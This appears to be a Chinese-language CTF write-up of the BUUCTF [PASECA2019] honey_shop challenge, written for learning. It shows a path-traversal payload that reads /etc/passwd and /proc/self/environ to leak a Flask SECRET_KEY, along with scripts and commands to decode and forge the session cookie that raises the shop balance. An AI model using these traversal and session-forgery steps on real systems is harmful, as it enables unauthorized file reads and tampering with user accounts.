BUUCTF [PASECA2019] honey_shop

BUUCTF [PASECA2019] honey_shop

考点:

  1. Flask中的Session伪造
  2. /environ记录当前进程的环境变量信息
  3. /proc/self其路径指向当前进程

启动环境:
在这里插入图片描述
是一个蜂蜜商店的界面,有1366美金,想要购买flag需要1337美金:
在这里插入图片描述
直接购买提示金额不足:
在这里插入图片描述
猜测可能是传参时存在金额参数或者cookie中,使用BurpSuite抓取数据包:
在这里插入图片描述
其中item应该为商品序号,获取到其中的session

session=eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.X-AP4Q.H4cz1rTUdylFbcil9brUNQuyDFI

使用Python脚本解密session

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)


if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

在这里插入图片描述
获得解密后的值:

{'balance': 1336, 'purchases': []}

其中balance应该为当前余额,purchases值为空

首先想到的是伪造session,修改余额,所以需要SECRET_KEY的值
尝试了没有报错点,这时候发现了一句提示:
在这里插入图片描述

*click to download our sweet images*

可以点击下载图片:
在这里插入图片描述
其下载地址可能存在任意文件下载漏洞:

/download?image=3.jpg

使用BurpSuite抓取数据包:
在这里插入图片描述
修改其image的值为:

/download?image=../../../../../../../etc/passwd

发送数据包,得到/etc/passwd文件内容:
在这里插入图片描述
可以成功执行,尝试访问Python环境变量:

/proc/self
// 其路径指向当前进程

/environ
// 记录当前进程的环境变量信息

当路径为../../proc/self/environ时,得到回显:
在这里插入图片描述
得到了SECRET_KEY的值为:paZgTFQpDx10dFWGD8plBlHMJfusFaelmpM3BG4m

使用flask-session-cookie加密脚本Github地址

python3 flask_session_cookie_manager3.py encode -s "paZgTFQpDx10dFWGD8plBlHMJfusFaelmpM3BG4m" -t "{'balance': 1338, 'purchases': []}"

在这里插入图片描述
使用BurpSuite在购买flag时修改session的值发送数据包:
在这里插入图片描述
得到flag

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值